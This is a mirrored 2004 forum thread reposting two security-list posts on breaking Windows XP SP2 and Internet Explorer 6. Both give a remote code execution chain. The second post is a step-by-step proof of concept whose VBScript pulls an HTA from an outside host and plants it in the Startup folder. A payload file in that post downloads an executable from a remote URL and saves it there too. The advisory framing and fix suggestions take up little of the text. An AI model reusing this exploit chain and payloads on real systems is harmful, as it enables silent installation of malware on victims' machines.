Likes Likes:  0
Resultaten 1 tot 2 van de 2
Geen
  1. #1
    http-equiv@excite.com
    How to Break Windows XP SP2 + Internet Explorer 6 SP2
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    How to Break Windows XP SP2 + Internet Explorer 6 SP2



    Tuesday, October 19, 2004

    The following technical exercise demonstrates the enormously
    elaborate methods required to defeat the current [as of today's
    date] security mechanisms in place in both Microsoft Windows XP
    SP2 and Internet Explorer 6.00 SP2 fully
    patched:

    It is by no means easy. The 'locking down 'of the local zone is
    and has been the 'Achilles' Heel' of the manufacturer known as
    Microsoft from time of inception to date.

    What we craft herewith is:

    a) an enormous waste of personal resources and time
    be) a full and complete remote compromise of the target computer

    It is sufficiently diluted to allow for technical explanation at
    this time, however, considering that today 'full fireworks' from
    the get-go appear to be mundane to those that need, or pretend,
    to need to know, brighter sparks may or may not 'see the light' !

    The problem is three-fold:

    The SP2 'patch' for the Microsoft XP so-called 'operating
    system' does indeed do a terrific job of shutting out all Active
    Content from the so-called Local Zone. So much so as to , in
    addition to that aspect, killing off of the ADODB.Stream and
    Shell.Application [very] ActiveX controls.

    The questions then are:

    a) if we can run code in the local zone, what can we run to
    read, write and delete
    b) if we can run code that can read, write and delete, how
    exactly do we run it

    Like so:

    1/ The recent 'drag drop' patch crammed into the Internet
    Explorer so-called 'Cumulative Security Update for Internet
    Explorer (834707)' yields some interesting results

    2/ Clearly the mechanism to put anything other than the intended
    MIME type in the src or dynsrc has been bolstered. Almost to the
    point of being a specific set of file types. One might suspect
    the capabilities of the newly enriched 'snot nosed' security of
    Internet Explorer is called into play:

    A

    a) .xml;.doc;.py;.cdf;.css;.pdf;ppt and a number of others
    prove 'draggable'. Key or 'executable' file types do not -- for
    obvious reasons [now].

    b) the 'trick' is then to emulate these file types. Quite
    correctly Internet Explorer 'sniffs' the file type to ensure its
    being. From within. Draggable elements are quite limited. As
    in <img src=''...> or <img dynsrc=''...> meaning only legitimate
    files assigned can be dragged -- media or image.

    c) What we do is inject our html code into the media file,
    remove the file type [extention] and let the machine do our
    dirty work first step for us

    d) Dragging our 'trojaned' image file across, containing our
    arbitrary code, we remove the extension and the machine
    automagically creates a nice crisp .htm file

    e) Big deal they say. Cannot run code in the 'Local Zone'. We
    then take an oddity with our most helpful Help function from the
    operating system known as hh.exe. By giving this a non-valid or
    miss-formed 'window' we are able to then point hh.exe to our
    machine made [inclusive of our arbitrary code] .htm file and
    execute that within Windows Help. What that means is that this
    is not a trivial 'showHelp()' rather an actual .chm opening via
    hh.exe remotely. In technical essence that is. Along with its
    With pseudo privileges no doubt.

    f) Big deal they say. Cannot run read / write / delete/ code in
    the 'Local Zone'. Adodb.Stream is dead. Shell.Application is
    dead. WScript.Shell has been patched even longer than that. But,
    we magically craft new code to replace it like so:

    <script language="vbs">
    'http://www.malware.com - 19.10.04
    Dim Conn, rs
    Set Conn = CreateObject("ADODB.Connection")
    Conn.Open "Driver={Microsoft Text Driver (*.txt; *.csv)};" & _
    "Dbq=http://www.malware.com;" & _
    "Extensions=asc,csv,tab,txt;" & _
    "Persist Security Info=False"
    Dim sql
    sql = "SELECT * from foobar.txt"
    set rs = conn.execute(sql)
    set rs =CreateObject("ADODB.recordset")
    rs.Open "SELECT * from foobar.txt", conn
    rs.Save "C:\\WINDOWS\\PCHealth\\malware.hta", adPersistXML
    rs.close
    conn.close
    </script>

    Simply put, that is perhaps the last remaining 'piece of code'
    that can write arbitrary content to an arbitrary file name in an
    aribitrary location.

    All it is doing is pulling from malware.com, the contents of a
    miserable text file, then writing that content to an .hta file
    in the location we tell it to. On the local machine.

    Working Diluted Manual Demo [go make your own fireworks !]:

    http://www.malware.com/noceegar.html


    Notes:

    1. the entire process could be automated should one really have
    time to waste
    2. current so-called 'professional' trends are inclined to "so
    what. If it cannot bake toast as well who cares"
    3. Exactly. Who really cares !
    4. Do you.


    End Call


    --
    http://www.malware.com







  2. #2
    michael evanchik
    How to Break Windows XP SP2 + Internet Explorer 6 SP2
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: How to Break Windows XP SP2 + Internet Explorer 6 SP2

    In-Reply-To: <200410200335.i9K3Zi72007862@web186.megawebservers .com>

    I have created a PoC for this http://www.michaelevanchik.com/kara/...l/notagain.txt

    and for those of you scared to click links these days , here is the contents

    Microsoft Internet Explorer ms-its scheme/CHM remote code execution

    Oct, 24 2004


    Vulnerable
    ----------
    - Microsoft Internet Explorer 6.0 (lower was not tested)
    - Microsoft Windows XP Pro
    - Microsoft Windows XP Home
    - Microsoft Windows 2003 Server Enterprise


    not tested if vulnerable
    ------------------------
    - Microsoft Windows 98
    - Microsoft Internet Explorer 5.x


    Not Vulnerable
    --------------
    - Microsoft Windows 2000
    - Microsoft Windows 2000 Server


    Severity
    ---------
    Critical - Remote code execution, little user intervention


    In English
    ----------
    You can run executable code with a series of html codes on a XP system. Its getting harder and harder these days so be ready for a long confusing paper. I am posting this proof of concept because as most of us know Microsoft will dismiss the last advi
    sory (from http-equiv) and not provide us with patches for months and maybe years.


    Tech Stuff and Explanation
    --------------------------
    http://www.michaelevanchik.com/kara/scrolll/files.zip <-- download all files here

    1. Create a image file with the following source code that http-equiv gave us into a comment section on a image file. I used Photoshop in the file menu > file info > comment field. From there I saved the file as a jpeg file and then renamed it to malwar
    ez6.mcb

    Here is the code http-equiv gave us, i just changed it around to inject the hta file into start up instead.

    &lt;script language="vbs">
    Dim Conn, rs
    Set Conn = CreateObject("ADODB.Connection")
    Conn.Open "Driver={Microsoft Text Driver (*.txt; *.csv)};" & _
    "Dbq=http://arite.zapto.org;" & _
    "Extensions=asc,csv,tab,txt;" & _
    "Persist Security Info=False"
    Dim sql
    sql = "SELECT * from foobar.txt"
    set rs = conn.execute(sql)
    set rs =CreateObject("ADODB.recordset")
    rs.Open "SELECT * from foobar.txt", conn
    rs.Save "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\real scheduler.hta", adPersistXML
    rs.close
    conn.close
    &lt;/script&gt;


    There is one thing you need to know about this code. Oddly “select * from foobar.txt” not only runs a GET command for “foobar.txt” on the web server, it also logs in anonymous to a FTP server on the same host. If your server does not allow both, the vul
    nerability will not work.



    2. foobar.txt was the most difficult part of for me. From the information http-equiv gave us, it seems this vulnerability could have been dismissed since you could not fit enough scriptable code into the hta file without the script compiler erroring due
    to binary asci code messing up the vbscript. What I uncovered was this text file needed to be in a comma delimited format. Not only that each side of each line of code needed to be padded with a dummy variable to keep the code "alive" so it would not e
    rror. Notice the variable "crap" and the first and last lines where also dummies which the code would not have worked without. HTA files are still a BIG whole for microsoft. All the patching they have done to exploits, and the creation of xp service pa
    ck 2 was gods sent, but yet HTA files do not apply to ANY of these new features. So I ended up putting an old and easy exe running exploit inside this hta file.

    foobar.txt
    -----------------------------------------
    "meaning less shit i had to put here"
    "&lt;script language=vbscript> crap = """
    """: on error resume next: crap = """
    """ : set o = CreateObject(""msxml2.XMLHTTP"") : crap="""
    """ : o.open ""GET"",""http://hometown.aol.com/mcbain/calc.exe"",False : crap="""
    """ : o.send : crap="""
    """ : set s = createobject(""adodb.stream"") : crap="""
    """ : s.type=1 : crap="""
    """ : s.open : crap="""
    """ : s.write o.responseBody : crap="""
    """ : s.savetofile ""C:\Documents and Settings\All Users\Start Menu\Programs\Startup\RealAudio.exe"",2 : crap="""
    """&lt;/script&gt; crap="""
    --------------end foobar.txt--------------------


    3. In index.html notice the following key code:

    <img id="dyn" src="malwarez6.mcb" border="0">


    According to http-equiv's (malware.com) post he was using a file with no extension. This did not work for me on IIS server so I used an extension that was not used (.mcb). From there in IIS management console I added this mime type manually (.mcb text
    /html) entry. This image now gets by microsoft’s patch of not allowing executable content to be "draggable". Microsoft seems to check ( no matter what extension of the file u use, or content type your http server sends) the file internally to see if it
    is not an executable file.


    4. create a file cigar.hhk. The code in this file is self explanatory


    5. create frame.html. Most somewhat self explanatory, though note the following code..

    &lt;OBJECT style="height:650" style="width:250"id="hhctrl" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"codebase="hhctrl.ocx#Version=5,2,3790 ,1194"width=7% height=7% style="position:absolute;top:140;left:72;z-index:1
    00;">
    <PARAM name="Command" value="Index">
    <PARAM name="Item1" value="cigar.hhk">click me
    &lt;/OBJECT&gt;

    I could not get this object auto clicked with hhctrl.click() unfortunately, for now this is the only user intervention part. But when a user click this object, it runs the html file in local zone, bypassing XP Service pack 2 for the second time in this e
    xploit.


    6. Upload hhtctrl.ocx for the computers that don’t happen to have this control. All XP's seem to have this by default, some win2k3's do not




    Proof of Concept?
    ----------------
    - http://www.michaelevanchik.com/kara/scrolll/index.html

    - scroll down on this webpage and click the display button as directed.

    - you will then notice a hta file in your start > programs > start up > real sceduler.hta

    - from here when that is run you will get Real Audio.exe, alternatively the hta file is basically remote execution at that point anyway.





    Vendor Recommendations
    ---------------------
    - Microsoft needs to apply XP Service Pack 2's local zone exploit lockdown to .HTA files as well

    - Microsoft should disable adodb.recordsets .save method for writing to hard drives.

    - As always Microsoft should pay BETTER people to test their software instead of rewards for
    virus writers

    - Microsoft should not dismiss any vulnerabilities as "not a vulnerability itself" problems
    since if combined with other "not a vulnerability itself" bugs lead to THE PROBLEM



    Temp Fix
    -------------
    - Disable hta files.
    - Disable scripting in Internet Explorer
    - Do not use Internet Explorer, use Mozilla Firebird (now known as FireFox www.mozilla.org)


    Credit
    ------
    Http equiv - without him, i wouldn’t have a clue

    mikx - http://www.mikx.de/scrollbar/ for his genius killer scrollbars!


    Greets
    ------
    - slacker my other brain
    - illwill at illmob.org
    - abe,rain and dolan


    Contact
    -------
    Mike@MichaelEvanchik.com
    http://www.MichaelEvanchik.com - me

    http://Software.High-Pow-er.com - Need a professional programmer?
    http://www.High-Pow-er.com - Other, Security, Consulting







Webhostingtalk.nl

Contact

  • Rokin 113-115
  • 1012 KP, Amsterdam
  • Nederland
  • Contact
© Copyright 2001-2026 Webhostingtalk.nl.
Web Statistics